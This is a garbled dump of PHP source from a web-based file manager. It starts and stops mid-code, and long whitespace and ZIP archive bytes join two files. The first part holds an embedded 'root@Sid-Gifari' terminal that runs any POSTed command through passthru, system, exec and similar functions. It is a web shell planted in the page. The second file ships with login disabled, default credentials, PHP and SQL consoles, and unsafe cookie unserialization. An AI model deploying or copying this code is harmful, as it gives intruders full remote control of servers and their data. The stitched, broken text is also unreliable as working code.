		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
